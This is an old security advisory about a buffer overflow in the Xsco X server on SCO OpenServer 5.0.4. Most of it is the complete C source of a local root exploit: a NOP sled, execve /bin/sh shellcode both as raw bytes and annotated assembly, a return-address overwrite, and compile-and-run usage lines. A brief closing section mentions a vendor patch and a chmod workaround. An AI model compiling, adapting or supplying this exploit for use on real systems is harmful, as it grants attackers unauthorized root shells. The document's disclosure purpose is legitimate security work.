COMMAND

    xserver

SYSTEMS AFFECTED

    SCO OpenServer 5.0.4

PROBLEM

    'doble' posted following.   Note that exploit can only be run from
    console, but maybe there  is a way to  trick the system to  run it
    from telnet or remotely...

    /*
     * <xserverx.c> Local root exploit
     *
     * Offset: Xsco (SCO OpenServer 5.0.4)
     * 0 -> from gdb
     * 50 - 100 -> from shell
     *
     * Usage:
     * $ cc xserverx.c -o xserverx
     * $ /usr/bin/X11/Xsco :`xserverx 80`
     *
     * By: The Dark Raver of CPNE (Murcia/Spain - 23/6/99)
     *
     * <http://members.tripod.com/~ochodedos> - <doble@iname.com>
     *
     */


    #include <stdlib.h>
    #include <stdio.h>

    char hell[]=
    "\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
    "\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
    "\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

    /*
    char hell[]=
    "\xeb\x1b" // start: jmp uno
    "\x5e" // dos: popl %esi
    "\x31\xdb" // xorl %ebx,%ebx
    "\x89\x5e\x07" // movb %bl,0x7(%esi)
    "\x89\x5e\x0c" // movl %ebx,0x0c(%esi)
    "\x88\x5e\x11" // movb %bl,0x11(%esi)
    "\x31\xc0" // xorl %eax,%eax
    "\xb0\x3b" // movb $0x3b,%al
    "\x8d\x7e\x07" // leal 0x07(%esi),%edi
    "\x89\xf9" // movl %edi,%ecx
    "\x53" // pushl %ebx
    "\x51" // pushl %ecx
    "\x56" // pushl %esi
    "\x56" // pushl %esi
    "\xeb\x10" // jmp execve
    "\xe8\xe0\xff\xff\xff" // uno: call dos
    "/bin/sh"
    "\xaa\xaa\xaa\xaa"
    "\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0
    */


    #define OFF 0x80478ff 	// SCO OpenServer 5.0.4
    #define ALINEA 2
    #define LEN 200


    int main(int argc, char *argv[]) {

    int offset=0;
    char buf[LEN];
    int i;

    if(argc < 2) {
	    printf("Usage: xserverx <offset>\n");
	    exit(0); }
    else {
	    offset=atoi(argv[1]); }

    memset(buf,0x90,LEN);
    memcpy(buf+80,hell,strlen(hell));
    for(i=140+ALINEA;i<LEN-4;i+=4)
	    *(int *)&buf[i]=OFF+offset;

    for(i=0;i<LEN;i++)
	    putchar(buf[i]);

    exit(0);
    }

SOLUTION

    SCO will  have a  patch for  OpenServer 5.0.5  in two weeks, which
    will be available from

        http://www.sco.com/security/

    chmoding will do until them.